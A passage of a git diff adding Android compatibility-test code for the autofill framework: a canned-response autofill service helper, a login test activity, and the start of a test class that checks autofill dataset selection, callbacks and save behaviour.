+         */
+        FillRequest getNextFillRequest() throws InterruptedException {
+            final FillRequest request = mFillRequests.poll(FILL_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            if (request == null) {
+                throw new RetryableException("onFillRequest() not called in %s ms",
+                        FILL_TIMEOUT_MS);
+            }
+            return request;
+        }
+
+        /**
+         * Asserts the total number of {@link AutofillService#onFillRequest(
+         * android.service.autofill.FillRequest,  CancellationSignal, FillCallback)}, minus those
+         * returned by {@link #getNextFillRequest()}.
+         */
+        void assertNumberUnhandledFillRequests(int expected) {
+            assertWithMessage("Invalid number of fill requests").that(mFillRequests.size())
+                    .isEqualTo(expected);
+        }
+
+        /**
+         * Gets the next save request, in the order received.
+         *
+         * <p>Typically called at the end of a test case, to assert the initial request.
+         */
+        SaveRequest getNextSaveRequest() throws InterruptedException {
+            final SaveRequest request = mSaveRequests.poll(SAVE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            if (request == null) {
+                throw new RetryableException(
+                        "onSaveRequest() not called in %d ms", SAVE_TIMEOUT_MS);
+            }
+            return request;
+        }
+
+        /**
+         * Asserts the total number of
+         * {@link AutofillService#onSaveRequest(android.service.autofill.SaveRequest, SaveCallback)}
+         * minus those returned by {@link #getNextSaveRequest()}.
+         */
+        void assertNumberUnhandledSaveRequests(int expected) {
+            assertWithMessage("Invalid number of save requests").that(mSaveRequests.size())
+                    .isEqualTo(expected);
+        }
+
+        /**
+         * Resets its internal state.
+         */
+        void reset() {
+            mResponses.clear();
+            mFillRequests.clear();
+            mSaveRequests.clear();
+        }
+
+        private void onFillRequest(List<FillContext> contexts, Bundle data,
+                CancellationSignal cancellationSignal, FillCallback callback, int flags) {
+            try {
+                CannedFillResponse response = null;
+                try {
+                    response = mResponses.poll(CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+                } catch (InterruptedException e) {
+                    Log.w(TAG, "Interrupted getting CannedResponse: " + e);
+                    Thread.currentThread().interrupt();
+                    return;
+                }
+                if (response == null) {
+                    dumpStructure("onFillRequest() without response", contexts);
+                    throw new RetryableException("No CannedResponse");
+                }
+                if (response.getResponseType() == NULL) {
+                    Log.d(TAG, "onFillRequest(): replying with null");
+                    callback.onSuccess(null);
+                    return;
+                }
+
+                if (response.getResponseType() == TIMEOUT) {
+                    Log.d(TAG, "onFillRequest(): not replying at all");
+                    return;
+                }
+
+                final String failureMessage = response.getFailureMessage();
+                if (failureMessage != null) {
+                    Log.v(TAG, "onFillRequest(): failureMessage = " + failureMessage);
+                    callback.onFailure(failureMessage);
+                    return;
+                }
+
+                final FillResponse fillResponse = response.asFillResponse(
+                        (id) -> Helper.findNodeByResourceId(contexts, id));
+
+                Log.v(TAG, "onFillRequest(): fillResponse = " + fillResponse);
+                callback.onSuccess(fillResponse);
+            } finally {
+                mFillRequests.offer(new FillRequest(contexts, data, cancellationSignal, callback,
+                        flags));
+            }
+        }
+
+        private void onSaveRequest(List<FillContext> contexts, Bundle data, SaveCallback callback) {
+            Log.d(TAG, "onSaveRequest()");
+            mSaveRequests.offer(new SaveRequest(contexts, data, callback));
+            callback.onSuccess();
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
new file mode 100644
index 0000000..9a0d70c
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -0,0 +1,276 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Username EditText (id: username, no input-type)
+ *   <li>Password EditText (id: "username", input-type textPassword)
+ *   <li>Clear Button
+ *   <li>Save Button
+ *   <li>Login Button
+ * </ul>
+ */
+public class LoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "LoginActivity";
+    private static String WELCOME_TEMPLATE = "Welcome to the new activity, %s!";
+    private static final long LOGIN_TIMEOUT_MS = 1000;
+
+    static final String ID_USERNAME_CONTAINER = "username_container";
+    static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+
+    private TextView mUsernameLabel;
+    private EditText mUsernameEditText;
+    private TextView mPasswordLabel;
+    private EditText mPasswordEditText;
+    private TextView mOutput;
+    private Button mLoginButton;
+    private Button mSaveButton;
+    private Button mCancelButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    // State used to synchronously get the result of a login attempt.
+    private CountDownLatch mLoginLatch;
+    private String mLoginMessage;
+
+    /**
+     * Gets the expected welcome message for a given username.
+     */
+    static String getWelcomeMessage(String username) {
+        return String.format(WELCOME_TEMPLATE,  username);
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(getContentView());
+
+        mLoginButton = (Button) findViewById(R.id.login);
+        mSaveButton = (Button) findViewById(R.id.save);
+        mClearButton = (Button) findViewById(R.id.clear);
+        mCancelButton = (Button) findViewById(R.id.cancel);
+        mUsernameLabel = (TextView) findViewById(R.id.username_label);
+        mUsernameEditText = (EditText) findViewById(R.id.username);
+        mPasswordLabel = (TextView) findViewById(R.id.password_label);
+        mPasswordEditText = (EditText) findViewById(R.id.password);
+        mOutput = (TextView) findViewById(R.id.output);
+
+        mLoginButton.setOnClickListener((v) -> login());
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> {
+            mUsernameEditText.setText("");
+            mPasswordEditText.setText("");
+            mOutput.setText("");
+            getAutofillManager().cancel();
+        });
+        mCancelButton.setOnClickListener((OnClickListener) v -> finish());
+    }
+
+    protected int getContentView() {
+        return R.layout.login_activity;
+    }
+
+    /**
+     * Emulates a login action.
+     */
+    private void login() {
+        final String username = mUsernameEditText.getText().toString();
+        final String password = mPasswordEditText.getText().toString();
+        final boolean valid = username.equals(password) || password.contains("pass");
+
+        if (valid) {
+            Log.d(TAG, "login ok: " + username);
+            final Intent intent = new Intent(this, WelcomeActivity.class);
+            final String message = getWelcomeMessage(username);
+            intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
+            setLoginMessage(message);
+            startActivity(intent);
+            finish();
+        } else {
+            Log.d(TAG, "login failed: " + AUTHENTICATION_MESSAGE);
+            mOutput.setText(AUTHENTICATION_MESSAGE);
+            setLoginMessage(AUTHENTICATION_MESSAGE);
+        }
+    }
+
+    private void setLoginMessage(String message) {
+        Log.d(TAG, "setLoginMessage(): " + message);
+        if (mLoginLatch != null) {
+            mLoginMessage = message;
+            mLoginLatch.countDown();
+        }
+    }
+
+    /**
+     * Explicitly forces the AutofillManager to save the username and password.
+     */
+    private void save() {
+        final InputMethodManager imm = (InputMethodManager) getSystemService(
+                Context.INPUT_METHOD_SERVICE);
+        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
+        getAutofillManager().commit();
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for all fields), so it can be asserted through
+     * {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String username, String password) {
+        mExpectation = new FillExpectation(username, password);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+        mPasswordEditText.addTextChangedListener(mExpectation.ccPasswordWatcher);
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for username only), so it can be asserted
+     * through {@link #assertAutoFilled()} later.
+     */
+    void expectAutoFill(String username) {
+        mExpectation = new FillExpectation(username);
+        mUsernameEditText.addTextChangedListener(mExpectation.ccUsernameWatcher);
+    }
+
+    /**
+     * Asserts the activity was auto-filled with the values passed to
+     * {@link #expectAutoFill(String, String)}.
+     */
+    void assertAutoFilled() throws Exception {
+        assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
+        mExpectation.ccUsernameWatcher.assertAutoFilled();
+        if (mExpectation.ccPasswordWatcher != null) {
+            mExpectation.ccPasswordWatcher.assertAutoFilled();
+        }
+    }
+
+    void forceAutofillOnUsername() {
+        syncRunOnUiThread(() -> getAutofillManager().requestAutofill(mUsernameEditText));
+    }
+
+    /**
+     * Visits the {@code username_label} in the UiThread.
+     */
+    void onUsernameLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameLabel));
+    }
+
+    /**
+     * Visits the {@code username} in the UiThread.
+     */
+    void onUsername(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mUsernameEditText));
+    }
+
+    /**
+     * Gets the {@code username} view.
+     */
+    EditText getUsername() {
+        return mUsernameEditText;
+    }
+
+    /**
+     * Visits the {@code password_label} in the UiThread.
+     */
+    void onPasswordLabel(Visitor<TextView> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordLabel));
+    }
+
+    /**
+     * Visits the {@code password} in the UiThread.
+     */
+    void onPassword(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> v.visit(mPasswordEditText));
+    }
+
+    /**
+     * Gets the {@code password} view.
+     */
+    EditText getPassword() {
+        return mPasswordEditText;
+    }
+
+    /**
+     * Taps the login button in the UI thread.
+     */
+    String tapLogin() throws Exception {
+        mLoginLatch = new CountDownLatch(1);
+        syncRunOnUiThread(() -> mLoginButton.performClick());
+        boolean called = mLoginLatch.await(LOGIN_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertWithMessage("Timeout (%s ms) waiting for login", LOGIN_TIMEOUT_MS)
+                .that(called).isTrue();
+        return mLoginMessage;
+    }
+
+    /**
+     * Taps the save button in the UI thread.
+     */
+    void tapSave() throws Exception {
+        syncRunOnUiThread(() -> mSaveButton.performClick());
+    }
+
+    /**
+     * Taps the clear button in the UI thread.
+     */
+    public void tapClear() {
+        syncRunOnUiThread(() -> mClearButton.performClick());
+    }
+
+    /**
+     * Sets the window flags.
+     */
+    void setFlags(int flags) {
+        Log.d(TAG, "setFlags():" + flags);
+        syncRunOnUiThread(() -> getWindow().setFlags(flags, flags));
+    }
+
+    /**
+     * Holder for the expected auto-fill values.
+     */
+    private final class FillExpectation {
+        private final OneTimeTextWatcher ccUsernameWatcher;
+        private final OneTimeTextWatcher ccPasswordWatcher;
+
+        private FillExpectation(String username, String password) {
+            ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
+            ccPasswordWatcher = new OneTimeTextWatcher("password", mPasswordEditText, password);
+        }
+
+        private FillExpectation(String username) {
+            ccUsernameWatcher = new OneTimeTextWatcher("username", mUsernameEditText, username);
+            ccPasswordWatcher = null;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
new file mode 100644
index 0000000..686a056
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -0,0 +1,2966 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.app.Activity.RESULT_CANCELED;
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.Helper.assertValue;
+import static android.autofillservice.cts.Helper.dumpStructure;
+import static android.autofillservice.cts.Helper.eventually;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.Helper.setUserComplete;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.autofillservice.cts.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.LoginActivity.getWelcomeMessage;
+import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+import static android.text.InputType.TYPE_NULL;
+import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.WindowManager.LayoutParams.FLAG_SECURE;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.PendingIntent;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.IntentSender;
+import android.graphics.Color;
+import android.os.Bundle;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillResponse;
+import android.service.autofill.SaveInfo;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+import android.view.View.AccessibilityDelegate;
+import android.view.ViewGroup;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityNodeProvider;
+import android.view.autofill.AutofillManager;
+import android.view.autofill.AutofillValue;
+import android.widget.RemoteViews;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * This is the test case covering most scenarios - other test cases will cover characteristics
+ * specific to that test's activity (for example, custom views).
+ */
+public class LoginActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final ActivityTestRule<LoginActivity> mActivityRule = new ActivityTestRule<LoginActivity>(
+            LoginActivity.class);
+
+    private LoginActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @After
+    public void finishWelcomeActivity() {
+        WelcomeActivity.finishIt();
+    }
+
+    @Test
+    public void testAutoFillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Test connection lifecycle.
+        waitUntilConnected();
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        sUiBot.assertNoDatasets();
+
+        // Try to trigger it again...
+
+        mActivity.onPassword(View::requestFocus);
+        // ...and make sure it didn't
+        sUiBot.assertNoDatasets();
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        // Test connection lifecycle.
+        waitUntilDisconnected();
+    }
+
+    @Test
+    public void testAutofillManuallyAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        sUiBot.assertNoDatasets();
+
+        // Try again, forcing it
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        mActivity.forceAutofillOnUsername();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        assertThat(fillRequest.flags).isEqualTo(FLAG_MANUAL_REQUEST);
+
+        // Selects the dataset.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillManuallyAndSaveAfterServiceReturnedNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure UI is not shown.
+        sUiBot.assertNoDatasets();
+        sReplier.assertNumberUnhandledFillRequests(0);
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertNoDatasets();
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        // Try again, forcing it
+        saveOnlyTest(true);
+    }
+
+    @Test
+    public void testAutoFillOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Dynamically set password to make sure it's sanitized.
+        mActivity.onPassword((v) -> v.setText("I AM GROOT"));
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Sanity checks.
+
+        // Make sure input was sanitized.
+        final FillRequest request = sReplier.getNextFillRequest();
+        assertWithMessage("CancelationSignal is null").that(request.cancellationSignal).isNotNull();
+        assertTextIsSanitized(request.structure, ID_PASSWORD);
+
+        // Make sure initial focus was properly set.
+        assertWithMessage("Username node is not focused").that(
+                findNodeByResourceId(request.structure, ID_USERNAME).isFocused()).isTrue();
+        assertWithMessage("Password node is focused").that(
+                findNodeByResourceId(request.structure, ID_PASSWORD).isFocused()).isFalse();
+    }
+
+    @Test
+    public void testAutoFillTwoDatasetsSameNumberOfFields() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setField(ID_PASSWORD, "SWEET")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available...
+        sUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... on all fields.
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsAll() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(true);
+    }
+
+    @Test
+    public void testAutoFillTwoDatasetsUnevenNumberOfFieldsFillsOne() throws Exception {
+        autoFillTwoDatasetsUnevenNumberOfFieldsTest(false);
+    }
+
+    private void autoFillTwoDatasetsUnevenNumberOfFieldsTest(boolean fillsAll) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "DUDE")
+                        .setPresentation(createPresentation("THE DUDE"))
+                        .build())
+                .build());
+        if (fillsAll) {
+            mActivity.expectAutoFill("dude", "sweet");
+        } else {
+            mActivity.expectAutoFill("DUDE");
+        }
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure all datasets are available on username...
+        sUiBot.assertDatasets("The Dude", "THE DUDE");
+
+        // ... but just one for password
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertDatasets("The Dude");
+
+        // Auto-fill it.
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertDatasets("The Dude", "THE DUDE");
+        if (fillsAll) {
+            sUiBot.selectDataset("The Dude");
+        } else {
+            sUiBot.selectDataset("THE DUDE");
+        }
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutoFillWhenViewHasChildAccessibilityNodes() throws Exception {
+        mActivity.onUsername((v) -> v.setAccessibilityDelegate(new AccessibilityDelegate() {
+            @Override
+            public AccessibilityNodeProvider getAccessibilityNodeProvider(View host) {
+                return new AccessibilityNodeProvider() {
+                    @Override
+                    public AccessibilityNodeInfo createAccessibilityNodeInfo(int virtualViewId) {
+                        final AccessibilityNodeInfo info = AccessibilityNodeInfo.obtain();
+                        if (virtualViewId == View.NO_ID) {
+                            info.addChild(v, 108);
+                        }
+                        return info;
+                    }
+                };
+            }
+        }));
+
+        testAutoFillOneDataset();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndMoveFocusAround() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        mActivity.onPassword(View::requestFocus);
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        mActivity.onUsername(View::requestFocus);
+        sReplier.assertNumberUnhandledFillRequests(0);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on other fields from the dataset does not trigger it again
+        mActivity.onPassword(View::requestFocus);
+        mActivity.onUsername(View::requestFocus);
+    }
+
+    @Test
+    public void testUiNotShownAfterAutofilled() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Make sure tapping on autofilled field does not trigger it again
+        mActivity.onPassword(View::requestFocus);
+        sUiBot.assertNoDatasets();
+
+        mActivity.onUsername(View::requestFocus);
+        sUiBot.assertNoDatasets();
+    }
+
+    @Test
+    public void testAutofillCallbacks() throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(ID_USERNAME, "dude")
+                .setField(ID_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+        final View username = mActivity.getUsername();
+        final View password = mActivity.getPassword();
+
+        callback.assertUiShownEvent(username);
+
+        mActivity.onPassword(View::requestFocus);
+        callback.assertUiHiddenEvent(username);
+        callback.assertUiShownEvent(password);
+
+        mActivity.onUsername(View::requestFocus);
+        mActivity.unregisterCallback();
+        callback.assertNumberUnhandledEvents(0);
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofillCallbackDisabled() throws Exception {
+        // Set service.
+        disableService();
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Test
+    public void testAutofillCallbackNoDatasets() throws Exception {
+        callbackUnavailableTest(NO_RESPONSE);
+    }
+
+    @Test
+    public void testAutofillCallbackNoDatasetsButSaveInfo() throws Exception {
+        callbackUnavailableTest(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .build());
+    }
+
+    private void callbackUnavailableTest(CannedFillResponse response) throws Exception {
+        // Set service.
+        enableService();
+        final MyAutofillCallback callback = mActivity.registerCallback();
+
+        // Set expectations.
+        sReplier.addResponse(response);
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.assertNoDatasets();
+
+        // Assert callback was called
+        final View username = mActivity.getUsername();
+        callback.assertUiUnavailableEvent(username);
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Since this is a Presubmit test, wait for connection to avoid flakiness.
+        waitUntilConnected();
+
+        sReplier.getNextFillRequest();
+
+        // Auto-fill it.
+        sUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Try to login, it will fail.
+        final String loginMessage = mActivity.tapLogin();
+
+        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
+
+        // Set right password...
+        mActivity.onPassword((v) -> v.setText("dude"));
+
+        // ... and try again
+        final String expectedMessage = getWelcomeMessage("dude");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "dude");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(password, "dude");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+
+        // Sanity check: once saved, the session should be finished.
+        assertNoDanglingSessions();
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSaveHidingOverlays() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
